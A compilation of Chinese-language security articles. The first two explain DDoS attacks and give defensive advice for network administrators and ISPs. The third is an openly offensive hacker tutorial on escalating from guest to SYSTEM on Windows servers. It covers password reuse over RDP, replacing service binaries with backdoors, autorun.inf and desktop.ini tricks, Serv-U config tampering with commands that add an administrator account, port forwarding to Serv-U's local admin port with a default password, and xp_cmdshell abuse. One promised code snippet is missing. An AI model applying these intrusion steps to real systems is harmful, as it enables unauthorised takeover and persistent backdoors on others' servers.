DDoS攻击概念:
DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。
DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了——目标对恶意攻击包的"消化能力"加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。
这时侯分布式的拒绝服务攻击手段(DDoS)就应运而生了。你理解了DoS攻击的话,它的原理就很简单。如果说计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。
高速广泛连接的网络给大家带来了方便,也为DDoS攻击创造了极为有利的条件。在低速网络时代时,黑客占领攻击用的傀儡机时,总是会优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。而现在电信骨干节点之间的连接都是以G为级别的,大城市之间更可以达到2.5G的连接,这使得攻击可以从更远的地方或者其他城市发起,攻击者的傀儡机位置可以在分布在更大的范围,选择起来更灵活了。
被DDoS攻击时的现象:
* 被攻击主机上有大量等待的TCP连接
* 网络中充斥着大量的无用的数据包,源地址为假
* 制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯
* 利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求
* 严重时会造成系统死机
攻击运行原理:
如图,一个比较完善的DDoS攻击体系分成四大部分,先来看一下最重要的第2和第3部分:它们分别用做控制和实际发起攻击。请注意控制机与攻击机的区别,对第4部分的受害者来说,DDoS的实际攻击包是从第3部分攻击傀儡机上发出的,第2部分的控制机只发布命令而不参与实际的攻击。对第2和第3部分计算机,黑客有控制权或者是部分的控制权,并把相应的DDoS程序上传到这些平台上,这些程序与正常的程序一样运行并等待来自黑客的指令,通常它还会利用各种手段隐藏自己不被别人发现。在平时,这些傀儡机器并没有什么异常,只是一旦黑客连接到它们进行控制,并发出指令的时候,攻击傀儡机就成为害人者去发起攻击了。
黑客是如何组织一次DDoS攻击的?
这里用“组织”这个词,是因为DDoS并不象入侵一台主机那样简单。一般来说,黑客进行DDoS攻击时会经过这样的步骤:
1. 搜集了解目标的情况
下列情况是黑客非常关心的情报:
* 被攻击目标主机数目、地址情况
* 目标主机的配置、性能
* 目标的带宽
对于DDoS攻击者来说,攻击互联网上的某个站点,如http://www.mytarget.com,有一个重点就是确定到底有多少台主机在支持这个站点,一个大的网站可能有很多台主机利用负载均衡技术提供同一个网站的www服务。所以事先搜集情报对DDoS攻击者来说是非常重要的,这关系到使用多少台傀儡机才能达到效果的问题。简单地考虑一下,在相同的条件下,攻击同一站点的2台主机需要2台傀儡机的话,攻击5台主机可能就需要5台以上的傀儡机。有人说做攻击的傀儡机越多越好,反正不管你有多少台主机我都用尽量多的傀儡机来攻就是了,傀儡机超过了时效果更好。
但在实际过程中,有很多黑客并不进行情报的搜集而直接进行DDoS的攻击,这时候攻击的盲目性就很大了,效果如何也要靠运气。
2. 占领傀儡机
黑客最感兴趣的是有下列情况的主机:
* 链路状态好的主机
* 性能好的主机
* 安全管理水平差的主机
这一部分实际上是使用了另一大类的攻击手段:利用形攻击。这是和DDoS并列的攻击方式。简单地说,就是占领和控制被攻击的主机。取得最高的管理权限,或者至少得到一个有权限完成DDoS攻击任务的帐号。对于一个DDoS攻击者来说,准备好一定数量的傀儡机是一个必要的条件,下面说一下他是如何攻击并占领它们的。
首先,黑客做的工作一般是扫描,随机地或者是有针对性地利用扫描器去发现互联网上那些有漏洞的机器,象程序的溢出漏洞、cgi、Unicode、ftp、数据库漏洞......(简直举不胜举啊),都是黑客希望看到的扫描结果。随后就是尝试入侵了,具体的手段就不在这里多说了,感兴趣的话网上有很多关于这些内容的文章。
总之黑客现在占领了一台傀儡机了!然后他做什么呢?除了上面说过留后门擦脚印这些基本工作之外,他会把DDoS攻击用的程序上载过去,一般是利用ftp。在攻击机上,会有一个DDoS的发包程序,黑客就是利用它来向受害目标发送恶意攻击包的。
3. 实际攻击:
经过前2个阶段的精心准备之后,黑客就开始瞄准目标准备发射了。前面的准备做得好的话,实际攻击过程反而是比较简单的。就象图示里的那样,黑客登录到做为控制台的傀儡机,向所有的攻击机发出命令:“预备~ ,瞄准~,开火!”。这时候埋伏在攻击机中的DDoS攻击程序就会响应控制台的命令,一起向受害主机以高速度发送大量的数据包,导致它死机或是无法响应正常的请求。黑客一般会以远远超出受害方处理能力的速度进行攻击,他们不会“怜香惜玉”。
老到的攻击者一边攻击,还会用各种手段来监视攻击的效果,在需要的时候进行一些调整。简单些就是开个窗口不断地ping目标主机,在能接到回应的时候就再加大一些流量或是再命令更多的傀儡机来加入攻击。
DDoS的防范:
到目前为止,进行DDoS攻击的防御还是比较困难的。首先,这种攻击的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS攻击。一位资深的安全专家给了个形象的比喻:DDoS就好象有1,000个人同时给你家里打电话,这时候你的朋友还打得进来吗?
不过即使它难于防范,也不是说我们就应该逆来顺受,实际上防止DDoS并不是绝对不可行的事情。互联网的使用者是各种各样的,与DDoS做斗争,不同的角色有不同的任务。我们以下面几种角色为例:
* 企业网管理员
* ISP、ICP管理员
* 骨干网络运营商
企业网管理员:
网管员做为一个企业内部网的管理者,往往也是安全员、守护神。在他维护的网络中有一些服务器需要向外提供WWW服务,因而不可避免地成为DDoS的攻击目标,他该如何做呢?可以从主机与网络设备两个角度去考虑。
主机上的设置:
几乎所有的主机平台都有抵御DoS的设置,总结一下,基本的有几种:
* 关闭不必要的服务
* 限制同时打开的Syn半连接数目
* 缩短Syn半连接的time out 时间
* 及时更新系统补丁
网络设备上的设置:
企业网的网络设备可以从防火墙与路由器上考虑。这两个设备是到外界的接口设备,在进行防DDoS设置的同时,要注意一下这是以多大的效率牺牲为代价的,对你来说是否值得。
防火墙:
* 禁止对主机的非开放服务的访问
* 限制同时打开的SYN最大连接数
* 限制特定IP地址的访问
* 启用防火墙的防DDoS的属性
* 严格限制对外开放的服务器的向外访问
第五项主要是防止自己的服务器被当做工具去害人。
路由器:
以Cisco路由器为例
* Cisco Express Forwarding(CEF)
* 使用 unicast reverse-path
* 访问控制列表(ACL)过滤
* 设置SYN数据包流量速率
* 升级版本过低的ISO
* 为路由器建立log server
其中使用CEF和Unicast设置时要特别注意,使用不当会造成路由器工作效率严重下降,升级IOS也应谨慎。路由器是网络的核心设备,与大家分享一下进行设置修改时的小经验,就是先不保存。Cisco路由器有两份配置startup config和running config,修改的时候改变的是running config,可以让这个配置先跑一段时间(三五天的就随意啦),觉得可行后再保存配置到startup config;而如果不满意想恢复原来的配置,用copy start run就行了。
ISP / ICP管理员:
ISP / ICP为很多中小型企业提供了各种规模的主机托管业务,所以在防DDoS时,除了与企业网管理员一样的手段外,还要特别注意自己管理范围内的客户托管主机不要成为傀儡机。客观上说,这些托管主机的安全性普遍是很差的,有的连基本的补丁都没有打就赤膊上阵了,成为黑客最喜欢的"肉鸡",因为不管这台机器黑客怎么用都不会有被发现的危险,它的安全管理太差了;还不必说托管的主机都是高性能、高带宽的——简直就是为DDoS定制的。而做为ISP的管理员,对托管主机是没有直接管理的权力的,只能通知让客户来处理。在实际情况时,有很多客户与自己的托管主机服务商配合得不是很好,造成ISP管理员明知自己负责的一台托管主机成为了傀儡机,却没有什么办法的局面。而托管业务又是买方市场,ISP还不敢得罪客户,怎么办?咱们管理员和客户搞好关系吧,没办法,谁让人家是上帝呢?呵呵,客户多配合一些,ISP的主机更安全一些,被别人告状的可能性也小一些。
骨干网络运营商:
他们提供了互联网存在的物理基础。如果骨干网络运营商可以很好地合作的话,DDoS攻击可以很好地被预防。在2000年yahoo等知名网站被攻击后,美国的网络安全研究机构提出了骨干运营商联手来解决DDoS攻击的方案。其实方法很简单,就是每家运营商在自己的出口路由器上进行源IP地址的验证,如果在自己的路由表中没有到这个数据包源IP的路由,就丢掉这个包。这种方法可以阻止黑客利用伪造的源IP来进行DDoS攻击。不过同样,这样做会降低路由器的效率,这也是骨干运营商非常关注的问题,所以这种做法真正采用起来还很困难。
对DDoS的原理与应付方法的研究一直在进行中,找到一个既有效又切实可行的方案不是一朝一夕的事情。但目前我们至少可以做到把自己的网络与主机维护好,首先不让自己的主机成为别人利用的对象去攻击别人;其次,在受到攻击的时候,要尽量地保存证据,以便事后追查,一个良好的网络和日志系统是必要的。无论DDoS的防御向何处发展,这都将是一个社会工程,需要IT界的同行们来一起关注,通力合作。
[文章转载]防御DDOS攻击终极指南
简述:由于近期DDOS攻击越来越广泛,本站特邀请我们的名誉技术顾问、网络安全专家孤独剑客先生结合多年抵御DDOS攻击的经验独家撰写此文,文中不仅深入浅出地阐述了分布式拒绝服务攻击DDOS的概念、流行的DDOS攻击手段及判断是否被DDOS攻击的方法,而且还结合实际给出了全面的DDOS实战防御建议,希望此文能帮助网站站长们早日摆脱DDOS攻击的困扰,我们热诚欢迎共同探讨DDOS关键词:DDOS SYNFLOOD 防火墙
一、为何要DDOS?
随着Internet互联网络带宽的增加和多种DDOS黑客工具的不断发布,DDOS拒绝服务攻击的实施越来越容易,DDOS攻击事件正在成上升趋势。出于商业竞争、打击报复和网络敲诈等多种因素,导致很多IDC托管机房、商业站点、游戏服务器、聊天网络等网络服务商长期以来一直被DDOS攻击所困扰,随之而来的是客户投诉、同虚拟主机用户受牵连、法律纠纷、商业损失等一系列问题,因此,解决DDOS攻击问题成为网络服务商必须考虑的头等大事。
二、什么是DDOS?
DDOS是英文Distributed Denial of Service的缩写,意即“分布式拒绝服务”,那么什么又是拒绝服务(Denial of Service)呢?可以这么理解,凡是能导致合法用户不能够访问正常网络服务的行为都算是拒绝服务攻击。也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。虽然同样是拒绝服务攻击,但是DDOS和DOS还是有所不同,DDOS的攻击策略侧重于通过很多“僵尸主机”(被攻击者入侵过或可间接利用的主机)向受害主机发送大量看似合法的网络包,从而造成网络阻塞或服务器资源耗尽而导致拒绝服务,分布式拒绝服务攻击一旦被实施,攻击网络包就会犹如洪水般涌向受害主机,从而把合法用户的网络包淹没,导致合法用户无法正常访问服务器的网络资源,因此,拒绝服务攻击又被称之为“洪水式攻击”,常见的DDOS攻击手段有SYN Flood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、Connections Flood、Script Flood、Proxy Flood等;而DOS则侧重于通过对主机特定漏洞的利用攻击导致网络栈失效、系统崩溃、主机死机而无法提供正常的网络服务功能,从而造成拒绝服务,常见的DOS攻击手段有Teardrop、Land、Jolt、IGMP Nuker、Boink、Smurf、Bonk、OOB等。就这两种拒绝服务攻击而言,危害较大的主要是DDOS攻击,原因是很难防范,至于DOS攻击,通过给主机服务器打补丁或安装防火墙软件就可以很好地防范,后文会详细介绍怎么对付DDOS攻击。
三、被DDOS了吗?
DDOS的表现形式主要有两种,一种为流量攻击,主要是针对网络带宽的攻击,即大量攻击包导致网络带宽被阻塞,合法网络包被虚假的攻击包淹没而无法到达主机;另一种为资源耗尽攻击,主要是针对服务器主机的攻击,即通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务。
如何判断网站是否遭受了流量攻击呢?可通过Ping命令来测试,若发现Ping超时或丢包严重(假定平时是正常的),则可能遭受了流量攻击,此时若发现和你的主机接在同一交换机上的服务器也访问不了了,基本可以确定是遭受了流量攻击。当然,这样测试的前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽,否则可采取Telnet主机服务器的网络服务端口来测试,效果是一样的。不过有一点可以肯定,假如平时Ping你的主机服务器和接在同一交换机上的主机服务器都是正常的,突然都Ping不通了或者是严重丢包,那么假如可以排除网络故障因素的话则肯定是遭受了流量攻击,再一个流量攻击的典型现象是,一旦遭受流量攻击,会发现用远程终端连接网站服务器会失败。
相对于流量攻击而言,资源耗尽攻击要容易判断一些,假如平时Ping网站主机和访问网站都是正常的,发现突然网站访问非常缓慢或无法访问了,而Ping还可以Ping通,则很可能遭受了资源耗尽攻击,此时若在服务器上用Netstat -na命令观察到有大量的SYN_RECEIVED、TIME_WAIT、FIN_WAIT_1等状态存在,而ESTABLISHED很少,则可判定肯定是遭受了资源耗尽攻击。还有一种属于资源耗尽攻击的现象是,Ping自己的网站主机Ping不通或者是丢包严重,而Ping与自己的主机在同一交换机上的服务器则正常,造成这种原因是网站主机遭受攻击后导致系统内核或某些应用程序CPU利用率达到100%无法回应Ping命令,其实带宽还是有的,否则就Ping不通接在同一交换机上的主机了。
当前主要有三种流行的DDOS攻击:
1、SYN/ACK Flood攻击:这种攻击方法是经典最有效的DDOS方法,可通杀各种系统的网络服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伪造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态,大量的这种攻击会导致Ping失败、TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。
2、TCP全连接攻击:这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤Teardrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多网络服务程序(如:IIS、Apache等Web服务器)能接受的TCP连接数是有限的,一旦有大量的TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此容易被追踪。
3、刷Script脚本攻击:这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击方法。一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过Proxy代理向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务,常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy代理就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露攻击者的IP地址。
四、怎么抵御DDOS?
对付DDOS是一个系统工程,想仅仅依靠某种系统或产品防住DDOS是不现实的,可以肯定的是,完全杜绝DDOS目前是不可能的,但通过适当的措施抵御90%的DDOS攻击是可以做到的,基于攻击和防御都有成本开销的缘故,若通过适当的办法增强了抵御DDOS的能力,也就意味着加大了攻击者的攻击成本,那么绝大多数攻击者将无法继续下去而放弃,也就相当于成功的抵御了DDOS攻击。以下为笔者多年以来抵御DDOS的经验和建议,和大家分享!
1、采用高性能的网络设备
首先要保证网络设备不能成为瓶颈,因此选择路由器、交换机、硬件防火墙等设备的时候要尽量选用知名度高、口碑好的产品。再就是假如和网络提供商有特殊关系或协议的话就更好了,当大量攻击发生的时候请他们在网络接点处做一下流量限制来对抗某些种类的DDOS攻击是非常有效的。
2、尽量避免NAT的使用
无论是路由器还是硬件防护墙设备要尽量避免采用网络地址转换NAT的使用,因为采用此技术会较大降低网络通信能力,其实原因很简单,因为NAT需要对地址来回转换,转换过程中需要对网络包的校验和进行计算,因此浪费了很多CPU的时间,但有些时候必须使用NAT,那就没有好办法了。
3、充足的网络带宽保证
网络带宽直接决定了能抗受攻击的能力,假若仅仅有10M带宽的话,无论采取什么措施都很难对抗现在的SYNFlood攻击,当前至少要选择100M的共享带宽,最好的当然是挂在1000M的主干上了。但需要注意的是,主机上的网卡是1000M的并不意味着它的网络带宽就是千兆的,若把它接在100M的交换机上,它的实际带宽不会超过100M,再就是接在100M的带宽上也不等于就有了百兆的带宽,因为网络服务商很可能会在交换机上限制实际带宽为10M,这点一定要搞清楚。
4、升级主机服务器硬件
在有网络带宽保证的前提下,请尽量提升硬件配置,要有效对抗每秒10万个SYN攻击包,服务器的配置至少应该为:P4 2.4G/DDR512M/SCSI-HD,起关键作用的主要是CPU和内存,若有志强双CPU的话就用它吧,内存一定要选择DDR的高速内存,硬盘要尽量选择SCSI的,别只贪IDE价格不贵量还足的便宜,否则会付出高昂的性能代价,再就是网卡一定要选用3COM或Intel等名牌的,若是Realtek的还是用在自己的PC上吧。
5、把网站做成静态页面
大量事实证明,把网站尽可能做成静态页面,不仅能大大提高抗攻击能力,而且还给黑客入侵带来不少麻烦,至少到现在为止关于HTML的溢出还每出现,看看吧!新浪、搜狐、网易等门户网站主要都是静态页面,若你非需要动态脚本调用,那就把它弄到另外一台单独主机去,免的遭受攻击时连累主服务器,当然,适当放一些不做数据库调用脚本还是可以的,此外,最好在需要调用数据库的脚本中拒绝使用代理的访问,因为经验表明使用代理访问你网站的80%属于恶意行为。
6、增强操作系统的TCP/IP栈
Win2000和Win2003作为服务器操作系统,本身就具备一定的抵抗DDOS攻击的能力,只是默认状态下没有开启而已,若开启的话可抵挡约10000个SYN攻击包,若没有开启则仅能抵御数百个,具体怎么开启,自己去看微软的文章吧!《强化 TCP/IP 堆栈安全》- http://www.microsoft.com/china/technet/security/guidance/secmod109.mspx
也许有的人会问,那我用的是Linux和FreeBSD怎么办?很简单,按照这篇文章去做吧!《SYN Cookies》- http://cr.yp.to/syncookies.html
7、安装专业抗DDOS防火墙
国内有一款可全功能免费试用的“冰盾防火墙”,是专门针对DDOS攻击和黑客入侵而设计的专业级防火墙,据测试可有效对抗每秒数十万的SYN/ACK攻击、TCP全连接攻击、刷脚本攻击等DDOS攻击,而且可识别2000多种黑客行为的入侵检测模块,能够有效防范端口扫描、SQL注入、木马上传等攻击。下载地址:http://www.bingdun.com
8、其他防御措施
以上的七条对抗DDOS建议,适合绝大多数拥有自己主机的用户,对于第1-4条自己具有选择权,第5条可以通过网站改版来实现,第6条是免费的,第7条若购买的话需要一些费用,但在所有建议中是最有效的,并且情况允许的话,完全可以一直使用试用版。但假如采取以上措施后仍然不能解决DDOS问题,就有些麻烦了,可能需要更多投资,增加服务器数量并采用DNS轮巡或负载均衡技术,甚至需要购买七层交换机设备,从而使得抗DDOS攻击能力成倍提高,只要投资足够深入,总有攻击者会放弃的时候,那时候你就成功了!:)
声明:本文版权归黑客基地所有 转载务必请说明“出自:黑客基地 http://www.hackbase.com”,否则我们将通过法律等必要手段直至其改正为至。
Guest权限提升方法总结:
现在的入侵是越来越难了,人们的安全意识都普遍提高了不少,连个人用户都懂得防火墙,杀毒软件要装备在手,对于微软的补丁升级也不再是不加问津。因此现在我们想在因特网上扫描弱口令的主机已经几乎是痴心妄想了。(这可是一件大大的好事啊。)
但是这也使得我们作黑客的进行入侵检测达到了一个前所未有的难度。通过各种手段,我们通常并不能直接获得一个系统的管理员权限。比如我们通过某些对IIS的攻击,只能获得IUSR-MACHINENAME的权限(如上传asp木马,以及某些溢出等)。这个帐号通常可是系统默认的guest权限,于是,如何拿到系统管理员或者是system权限,便显得日益重要了。
于是,我就总结了一下大家所经常使用的几种提升权限的方法,以下内容是我整理的,没有什么新的方法,写给和我一样的菜鸟看的。高手们就可以略去了,当然,你要复习我不反对,顺便帮我查查有什么补充与修改:
1、社会工程学。
对于社会工程学,我想大家一定不会陌生吧?(如果你还不太明白这个名词的话,建议你去找一些相关资料查查看。)我们通常是通过各种办法获得目标的敏感信息,然后加以分析,从而可以推断出对方admin的密码。举一个例子:假如我们是通过对服务器进行数据库猜解从而得到admin在网站上的密码,然后借此上传了一个海洋顶端木马,你会怎么做?先翻箱倒柜察看asp文件的代码以希望察看到连接SQL的帐号密码?错错错,我们应该先键入一个netstat –an命令察看他开的端口(当然用net start命令察看服务也行)。一旦发现他开了3389,犹豫什么?马上拿出你的终端连接器,添上对方IP,键入你在他网站上所获得的用户名及密码……几秒之后,呵呵,进去了吧?这是因为根据社会工程学的原理,通常人们为了记忆方便,将自己在多处的用户名与密码都是用同样的。于是,我们获得了他在网站上的管理员密码,也就等同于获得了他所有的密码。其中就包括系统admin密码。于是我们就可以借此登入他的3389拉!
即使他并没有开启3389服务,我们也可以凭借这个密码到他的FTP服务器上试试,如果他的FTP服务器是serv-u 5.004 以下版本,而帐号又具有写权限,那么我们就可以进行溢出攻击了!这可是可以直接拿到system权限的哦!(利用serv-u还有两个提升权限的方法,
我待会儿会说的)
实在不行,我们也可以拿它的帐号去各大网站试试!或许就能进入他所申请的邮箱拿到不少有用的信息!可以用来配合我们以后的行动。
还有一种思路,我们知道,一个网站的网管通常会将自己的主页设为IE打开后的默认主页,以便于管理。我们就可以利用这一点,将他自己的主页植上网页木马……然后等他打开IE……呵呵,他怎么也不会想到自己的主页会给自己种上木马吧?
其实利用社会工程学有很多种方法,想作为一个合格黑客,这可是必学的哦!多动动你自己的脑子,你才会成功!
2、本地溢出。
微软实在是太可爱了,这句话也不知是哪位仁兄说的,真是不假,时不时地就会给我们送来一些溢出漏洞,相信通过最近的MS-0011大家一定又赚了一把肉鸡吧?其实我们在拿到了Guest权限的shell后同样可以用溢出提升权限。最常用的就是RunAs.exe、 winwmiex.exe 或是PipeUpAdmin等等。上传执行后就可以得到Admin权限。但一定是对方没有打过补丁的情况下才行,不过最近微软的漏洞一个接一个,本地提升权限的exploit也会出来的,所以大家要多多关心漏洞信息,或许下一个exploit就是你写出来的哦!
3、利用scripts目录的可执行权限。
这也是我们以前得到webshell后经常使用的一招,原理是Scripts目录是IIS下的可运行目录,权限就是我们梦寐以求的SYSTEM权限。常见的使用方法就是在U漏洞时代我们先上传idq.dll到IIS主目录下的Scripts目录,然后用ispc.exe进行连接,就可以拿到system权限,不过这个是在Microsoft出了SP3之后就行不通了,其实我们仍可以利用此目录,只要我们上传别的木马到此目录,我举个例子就比如是winshell好了。然后我们在IE中输入:
http://targetIP/Scripts/木马文件名.exe
等一会,看到下面进度条显示“完成”时,可以了,连接你设定的端口吧!我这里是默认的5277,连接好后就是SYSTEM权限了!这时你要干什么我就管不着了……嘿嘿
4、替换系统服务。
这可是广大黑友乐此不疲的一招。因为windows允许对正在运行中的程序进行改动,所以我们就可以替换他的服务以使得系统在重启后自动运行我们的后门或是木马!首先,通过你获得的guest权限的shell输入:net start命令,察看他所运行的服务。此时如果你对windows的系统服务熟悉的话,可以很快看出哪些服务我们可以利用。
C:\WINNT\System32\>net start
已经启动以下 Windows 服务:
COM+ Event System
Cryptographic Services
DHCP Client
Distributed Link Tracking Client
DNS Client
Event Log
Help and Support
IPSEC Services
Logical Disk Manager
Logical Disk Manager Administrative Servic
Network Connections
Network Location Awareness (NLA)
Protected Storage
Remote Procedure Call (RPC)
Rising Process Communication Center
Rising Realtime Monitor Service
Secondary Logon
Security Accounts Manager
Shell Hardware Detection
System Event Notification
System Restore Service
Telephony
Themes
Upload Manager
WebClient
Windows Audio
Windows Image Acquisition (WIA)
Windows Management Instrumentation
Windows Time
Wireless Zero Configuration
Workstation
命令成功完成。
我先在我的机器上运行一下命令做个示范(大家别黑我呀),注意我用红色标注的部分,那是我安装的瑞星。Rising Process Communication Center服务所调用的是CCenter.exe,而Rising Realtime Monitor Service服务调用的是RavMonD.exe。这些都是第三方服务,可以利用。(强烈推荐替换第三方服务,而不要乱动系统服务,否则会造成系统不稳定)于是我们搜索这两个文件,发现他们在D:\ rising\rav\文件夹中,此时注意一点:如果此文件是在系统盘的Program Files目录中时,我们要知道,如果对方是使用的NTFS格式的硬盘,那么系统盘下的这个文件夹guest权限是默认不可写的,还有Windows目录、Documents and Settings目录这些都是不可写的,所以我们就不能替换文件,只能令谋途径了。(这也是为什么我不建议替换系统服务的原因之一,因为系统服务文件都在Windows\System32目录中,不可写)但如果是FAT32格式就不用担心,由于它的先天不足,所有文件夹都是可写的。
于是就有人会问:如果是NTFS格式难道我们就没辙了吗?
当然不是,NTFS格式默认情况下除了对那三个文件夹有限制外,其余的文件夹、分区都是everyone完全控制。(也就是说我即使是IPC$的匿名连接,都会对这些地方有可写可运行权限!)所以一旦对方的第三方服务不是安装在那三个文件夹中,我们就可以替换了!我就拿CCenter下手,先将它下载到本地机器上(FTP、放到IIS主目录中再下载等等……)然后拿出你的文件捆绑机,找到一个你最拿手的后门……呵呵,捆绑好后,上传,先将对方的CCenter.exe文件改个名CCENTBAK.exe,然后替换成自己的CCenter。现在只需要等对方的机器重启,我们的后门就可以运行了!由于Windows系统的不稳定,主机在一个礼拜后就会重启,(当然如果你等不及的话,可以对此服务器进行DDOS攻击迫使他重启,但我并不赞同!)此时登上你的后门,就是System权限了!
5、替换admin常用程序。
如果对方没有你所能利用的服务,也可以替换对方管理员常用的程序,例如QQ,MSN等等,具体替换方法与替换服务一样,只是你的后门什么时候可以启动就得看你的运气了。
6、利用autorun .inf或desktop.ini。
我们常会碰到这种事:光盘放进光驱,就会自动跳出来一段FLASH,这是为什么?呵呵,你到光盘的根目录中看看,是否有一个autorun.inf的文件?用记事本打开来看看,是不是有这么一句话:autorun=xxx.exe 这就是你刚才所看到的自动运行的程序了。
于是我们就可以利用这个来提升我们的权限。先配置好一个后门,(我常用的是winshell,当然你不用这个也行)上传到他D盘下的任意一个文件夹中,然后从你那个自运行的光盘中把autorun.inf文件也上传,不过上传前先将autorun=xxx.exe 后面的xxx.exe改为你配置的后门文件途径、文件名,然后再上传到d盘根目录下,加上只读、系统、隐藏属性。OK就等对方admin浏览D盘,我们的后门就可以启动了!(当然,这必须是在他没有禁止自动运行的情况下才行。)
另外有相同作用的是desktop.ini。大家都知道windows支持自定义文件,其实它就是通过在文件夹中写入特定文件——desktop.ini与Folder.htt来实现的,我们就可以利用修改这文件来达到我们的目的。
首先,我们现在本地建立一个文件夹,名字不重要,进入它,在空白处点右键,选择“自定义文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的操作系统文件”)然后我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码:
然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的后门!(如果你不放心,可以多设置几个目录)
7、Serv-U提升权限
利用Serv-U提升权限共有三种方法,溢出是第一种,我之前已经说过,这里就不介绍了。我要讲的是其余两种办法。
办法一:要求:对Serv-u安装目录有完全控制权。
方法:进入对方的Serv-U目录,察看他的ServUDaemon.ini,这是Serv-U的配置文件,如果管理员没有选择将serv- u的所有配置写入注册表的话,我们就可以从这个文件中看到Serv-U的所有信息,版本、IP、甚至用户名与密码!早些版本的密码是不加密的,但是后来是经过了MD5加密。所以不能直接得到其密码。不过我们仍然有办法:先在本地安装一个Serv-U(版本最好新点),将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重起一下Serv-U,于是你上面的所有配置都与他的一模一样了。我们新建一个用户,什么组不重要,重要的是将他的主目录改为对方的系统盘,然后加上执行权限!这个最重要。更改完后应用,退出。再将你更改过的ServUDaemon.ini 文件上传,覆盖掉他的文件,然后就等他的Serv-U重启更新配置,之后我们就可以登入他的FTP。进入后执行以下命令:
Cd windows
Cd System32
Quote site exec net.exe user wofeiwo /add
Quote site exec net.exe localgroup administrators wofeiwo /add
Bye
然后你就有了一个叫wofeiwo的系统管理员了,还等什么?登陆3389,大功告成!
办法二:Serv-u开了两个端口,一个是21,也就是FTP了,而另一个是43958,这个端口是干什么的?嘿嘿,这个是Serv-U的本地管理端口。但是默认是不准除了127.0.0.1外的ip连接的,此时就要用到FPIPE.exe文件,这是一个端口转发程序,上传他,执行命令:
Fpipe –v –l 3333 –r 43958 127.0.0.1
意思是将4444端口映射到43958端口上。
然后就可以在本地安装一个Serv-u,新建一个服务器,IP填对方IP,帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的Serv-u了,之后提升权限的方法参考办法一。我就不赘述了。
8、SQL帐户密码泄露。
如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号,因为MSSQL是默认的SYSTEM权限。
要求:你得到了对方MSSQL管理员密码(可以从他的连接数据库的ASP文件中看到),对方没有删除xp_cmdshell
方法:使用Sqlexec.exe,在host 一栏中填入对方IP,User与Pass中填入你所得到的用户名与密码。Format选择xp_cmdshell”%s”即可。然后点击connect,连接上后就可以在CMD一栏中输入你想要的CMD命令了。
唔……升个懒腰,好累阿,终于写完8个方法了,发发牢骚……(以下省略N字符)
总之,以上的8种方法并不是绝对的,最主要的是你的思路,每种方法互相结合,才能发挥其应有的效应。
